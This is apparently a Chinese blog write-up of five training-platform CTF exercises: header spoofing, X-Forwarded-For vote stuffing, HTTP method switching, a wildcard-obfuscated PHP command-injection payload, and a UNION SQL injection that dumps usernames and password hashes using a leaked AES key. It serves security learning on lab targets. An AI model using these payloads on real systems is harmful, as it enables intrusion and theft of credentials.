【墨者学院练习题】


前言

第二天内容没啥讲的,列举几个课堂靶场实验


一、浏览器信息伪造

来到页面
在这里插入图片描述
在这里插入图片描述

提示:请使用iPhone手机,在2G网络下登录微信查看!
想到修改user-agent信息,使用bp抓包修改
首先我们要先找到对应的user-agent信息,直接百度就可以找到

Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12A365 MicroMessenger/6.0 NetType/2G

在这里插入图片描述
即可获取到key

二、投票系统程序设计缺陷分析

来到页面,进入投票
在这里插入图片描述在这里插入图片描述
我们要把ggg投到第一名,但是投一次就不能投了,进行抓包查看
根据提示,要我们了解程序员获取ip地址的方式
查找资料可发现
在这里插入图片描述
和X-Forwarded-For有关
在这里插入图片描述
增设字段,把IP设为变量进行访问,设置数字递增,投到最多为止
在这里插入图片描述
即可获取到key

三、HTTP动作练习

来到页面
在这里插入图片描述

直接抓包,看到很长的数据包,并且根据题目信息,修改为post提交方式,直接右键修改请求方式即可,注意post提交会有一个content-type字段表示提交的数据包类型
在这里插入图片描述

即可获取到key

四、ctf.show_红包题

来到首页
在这里插入图片描述

扫描二维码关注公众号,回复: 15697325 查看本文章

查看源码
在这里插入图片描述
猜测有命令执行函数
尝试输入cat …/…/…/flag,显示php代码很多过滤条件
在这里插入图片描述

preg_match 函数用于执行一个正则表达式匹配,如果匹配成功则报错
在这里插入图片描述

第一个正则字母没有过滤p,第二个正则没有过滤常见字符 ? / =
这里参考大佬的解法

#模糊匹配
?cmd=?><?=`/???/?p /???????? p.ppp`;?>
#相当于
?cmd=?><?=`/bin/cp /flag.txt p.ppp`;?>

相当于 ?>闭合前面php语句
<?= 可以替代 <? echo     (php>5.4.0)
后面的模糊匹配相当于
/bin/cp /flag.txt p.ppp  #此命令为将根目录下的文件复制到此目录下的p.ppp文件中(就是cp命令的具体路径了)
? 作为通配符,太强了 反引号内的命令会先执行
然后访问p.ppp文件就会下载,得到flag

在这里插入图片描述

访问p.ppp
在这里插入图片描述

得到flag
ctfshow{0bdca611-5284-4a38-b852-8fae7b7d9915}

五、SQL注入漏洞测试(参数加密)

首先来到页面
在这里插入图片描述

是一个登录框,可尝试暴力破解,sql注入等,根据提示:掌握信息泄露得方式
于是御剑扫描一下,看是否存在其他目录
在这里插入图片描述

扫描到一个目录
在这里插入图片描述
下载后可看到

<?php
header('content-type:text/html;charset=utf-8');
require_once '../config.php';
//解密过程
function decode($data){
    
    
	$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
	mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
	$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
	mcrypt_generic_deinit($td);
	mcrypt_module_close($td);
	if(substr(trim($data),-6)!=='_mozhe'){
    
    
		echo '<script>window.location.href="/index.php";</script>';
	}else{
    
    
		return substr(trim($data),0,strlen(trim($data))-6);
	}
}
$id=decode($_GET['id']);
$sql="select id,title,content,time from notice where id=$id";
$info=$link->query($sql);
$arr=$info->fetch_assoc();
?>

分析php文件

分析得到:
- #该参数先进行AES加密再进行base64编码
- #因此先进行base64解码再进行AES解密
- #AES加密模式     [MCRYPT_MODE_CBC]     AES加密位数[MCRYPT_RIJNDAEL_128]    
- #AES秘钥   		[ydhaqPQnexoaDuW3]    AES偏移值[2018201920202021]

通过查看源码可发现
在这里插入图片描述
先将其base64解码
在这里插入图片描述

在这里插入图片描述

通过比对得到明文1_mozhe
后续sql注入就需要在这基础上修改
例如 1 and 1=2_mozhe
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
页面返回错误,说明是数字型注入
后续注入发现有四个字段,2,3字段会回显
最后查找用户名、密码和状态(0表示无效,1表示有效)

1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1_mozhe

在这里插入图片描述

1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1_mozhe

在这里插入图片描述
最后通过MD5解密
在这里插入图片描述

登录获得key值
在这里插入图片描述


总结

今天主要是讲的http的requests和response头部信息,利用bp代理去修改请求绕过限制,后续会分享一些安全例题,可以关注一下。

猜你喜欢

转载自blog.csdn.net/qq_61872115/article/details/129557883
今日推荐